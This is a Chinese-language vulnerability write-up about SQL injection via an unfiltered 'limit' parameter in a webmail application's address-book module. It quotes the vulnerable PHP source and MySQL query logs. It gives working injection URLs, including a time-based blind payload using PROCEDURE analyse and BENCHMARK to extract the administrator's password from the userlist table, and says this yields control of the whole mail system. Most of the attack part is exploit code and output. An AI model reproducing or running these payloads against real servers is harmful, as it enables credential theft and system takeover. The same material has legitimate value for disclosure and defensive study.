漏洞产生的原因,sql语句中的limit由用户可控,其处理不当因而导致了sql注入的产生
漏洞文件/client/oab/module/operates.php 代码为
code 区域 if ( ACTION == "member-get" )
{
$dept_id = gss( $_GET['dept_id'] );
$dept_id = intval( $dept_id );//此处不传入该变量
$keyword = gss( $_GET['keyword'] );
$page = $_GET['page'] ? gss( $_GET['page'] ) : 1;
$limit = $_GET['limit'] ? gss( $_GET['limit'] ) : 25;//此处的limit可控,不传入的话其值为25
$orderby = gss( $_GET['orderby'] );
$is_reverse = gss( $_GET['is_reverse'] );
$data_cache = $Department->getDepartmentByDomainID( $domain_id, "dept_id,name,parent_id,`order`", 0 );
$department_list = create_array( $data_cache, "dept_id", "name" );
$Tree = $Department->getTreeObject( );
$Tree->set_data_cache( $data_cache );
$Tree->sort_data( -1, 1 );
$where = "t1.CalendarOnly='0'";
if ( $dept_id && $dept_id != "-1" )
{
$dept_ids = $Tree->get_child_id( $dept_id );
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
else
{
$dept_permit = get_session( "dept_permit" );
if ( $dept_permit == "1" )
{
$where_map = "user_id='".$user_id."'";
$arr_tmp = $Department->get_map( array(
"fields" => "*",
"where" => $where_map,
"orderby" => "dept_id",
"debug" => 0
) );
}
else if ( $dept_permit == "-1" )
{
$where_permit = "domain_id='".$domain_id."' AND user_id='".$user_id."'";
$arr_tmp = $Department->get_deptpermit( array(
"fields" => "*",
"where" => $where_permit,
"debug" => 0
) );
}
if ( $arr_tmp )
{
$dept_arr = array( );
foreach ( $arr_tmp as $arr )
{
$dept_arr[] = $Tree->get_child_id( $arr['dept_id'] );
}
$dept_ids = implode( ",", $dept_arr );
}
if ( $dept_ids )
{
$user_ids = $Department->getMailboxIDByDepartmentID( $dept_ids, 0 );
$where .= " AND t1.UserID IN (".$user_ids.")";
}
}
if ( $keyword )
{
if ( strpos( $keyword, "@" ) )
{
$key_tmp = explode( "@", $keyword );
$keyword = $key_tmp[0];
}
$where .= " AND (t1.FullName LIKE \"%".$keyword."%\" OR t1.Mailbox LIKE \"%".$keyword."%\")";
}
switch ( $orderby )
{
case "fullname" :
......
case "email" :
$orderby = "t1.Mailbox";
break;
$orderby = "";
}
$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, $page, $limit, $orderby, $is_reverse, 0 );//todo 分析该函数
其中$Mailbox->getMailboxInfo()函数里的逻辑如下,代码在/admin/lib/Mailbox.php
code 区域 public function getMailboxInfo( $_obfuscate_AkPSczrCIu40, $_obfuscate_IRFhnYwÿ = "", $_obfuscate_AedrEgÿÿ = "", $_obfuscate_xvYeh9Iÿ = "", $_obfuscate_tUi30UB0e88ÿ = "", $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ = FALSE, $_obfuscate_ySeUHBwÿ = FALSE )
{
$_obfuscate_AkPSczrCIu40 = intval( $_obfuscate_AkPSczrCIu40 );
$_obfuscate_zbtFQY92OYenSG9u = "t1.DomainID='".$_obfuscate_AkPSczrCIu40."' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0";
if ( $_obfuscate_IRFhnYwÿ )
{
$_obfuscate_zbtFQY92OYenSG9u .= " AND ".$_obfuscate_IRFhnYwÿ;
}
if ( $_obfuscate_xvYeh9Iÿ )
{
if ( $_obfuscate_AedrEgÿÿ )
{
$_obfuscate_mV9HBLYÿ = $_obfuscate_AedrEgÿÿ * $_obfuscate_xvYeh9Iÿ - $_obfuscate_xvYeh9Iÿ;
}
if ( $_obfuscate_mV9HBLYÿ )
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_mV9HBLYÿ.",".$_obfuscate_xvYeh9Iÿ;
}
else
{
$_obfuscate_UFlHiZJcJu6DQBFE = "LIMIT ".$_obfuscate_xvYeh9Iÿ;//此处将获取的limit拼接志sql语句,只需要控制相应的参数为空即可
}
}
if ( $_obfuscate_tUi30UB0e88ÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY ".$_obfuscate_tUi30UB0e88ÿ;
if ( $_obfuscate_u5srL4rM3PZJLvpPhQÿÿ )
{
$_obfuscate_5e2O0TiivW7ec4cÿ .= " DESC";
}
$_obfuscate_5e2O0TiivW7ec4cÿ .= ",t1.FullName ASC";
}
else
{
$_obfuscate_5e2O0TiivW7ec4cÿ = "ORDER BY t1.OrderNo DESC,t1.Mailbox ASC";
}
$_obfuscate_mGXfswsMZQÿÿ = "SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*\r\n\t\t\t\tFROM ".$this->get_table_name( "mailbox" )." as t1, ".$this->get_table_name( "info" )." as t2\r\n\t\t\t\tWHERE ".$_obfuscate_zbtFQY92OYenSG9u."\r\n\t\t\t\t".$_obfuscate_5e2O0TiivW7ec4cÿ;
$_obfuscate_YdwIclUMQÿÿ = $_obfuscate_mGXfswsMZQÿÿ." ".$_obfuscate_UFlHiZJcJu6DQBFE;
if ( $_obfuscate_ySeUHBwÿ )
{
dump( $_obfuscate_YdwIclUMQÿÿ );
}
$_obfuscate_MbMfEtWGUpEscGl = $this->db_count( $_obfuscate_mGXfswsMZQÿÿ );
unset( $_obfuscate_1LzzW8sGEkLaizkÿ );
$_obfuscate_6RYLWQÿÿ = $this->db_select( $_obfuscate_YdwIclUMQÿÿ, "more" );
return array(
"count" => $_obfuscate_MbMfEtWGUpEscGl,
"data" => $_obfuscate_6RYLWQÿÿ
);
}
该函数的调用过程为,http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get
普通用户登录后,执行该请求,查看sql的执行过程如下
code 区域 150124 13:53:59 2772 Query SELECT DomainName from domains
2772 Query SELECT UserID, Mailbox, FullName, MailDir, Password, AutoDecode, IsForwarding, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, HideFromEveryone, EncryptMail, ApplyQuotas, EnableMultiPop, CanModifyGAB, CalendarOnly, MaxMessageCount, MaxDiskSpace, UserList.DomainID, Domains.DomainName, Domains.DomainID FROM UserList, Domains WHERE UserList.DomainID=Domains.DomainID AND FullName = 'mdaemon server' AND DomainName = '**.**.**.**'
2772 Query SELECT DomainName from domains
2772 Query SELECT * FROM Domains
2880 Connect umail@localhost on
2880 Query SET NAMES 'UTF8'
2880 Init DB umail
2880 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2880 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 25
即LIMIT 25处是用户可控的,我们在url请求中添加limit变量,继续提交sql语句为http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1+PROCEDURE+analyse(extractvalue(rand(),concat(0x3a,version())),1)
查看sql语句执行的情况如下
code 区域 150124 14:06:57 2888 Connect umail@localhost on
2888 Query SET NAMES 'UTF8'
2888 Init DB umail
2888 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2888 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,version())),1)
2888 Quit
如图
成功插入,由于该邮件系统默认关闭了错误回显,因而我们无法直接查看结果,本地sql执行的情况为
所以如想继续获取敏感信息,我们利用盲注即可,构造获取管理员密码的exp为
http://**.**.**.**/webmail/client/oab/index.php?module=operate&action=member-get&limit=1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)
sql语句为
code 区域 150124 14:43:21 2911 Connect umail@localhost on
2911 Query SET NAMES 'UTF8'
2911 Init DB umail
2911 Query SELECT dept_id,name,parent_id,`order` FROM oab_department WHERE domain_id='1' ORDER BY `order`,`dept_id`
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2911 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.CalendarOnly='0'
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC LIMIT 1,1 PROCEDURE analyse(extractvalue(rand(),concat(0x3a,(if(ascii(substr((select password from userlist where userid=2),1,1))=97, BENCHMARK(50000000,SHA1(1)),1)))),1)
ok,这样即可获取管理员密码,并不鸡肋,从而获得整个邮件系统的权限了,在继续对邮件系统进行查找,发现其他三处并不存在注入,虽然limit可控,但执行了intval处理,因而不存在缺陷,如图
关于limit的注入,查看社区文章http://**.**.**.**/content/18220 (原版链接https://**.**.**.**/blog/sql-injections-in-mysql-limit-clause/)感谢转载翻译的作者“五道口杀气”以及原作者() :)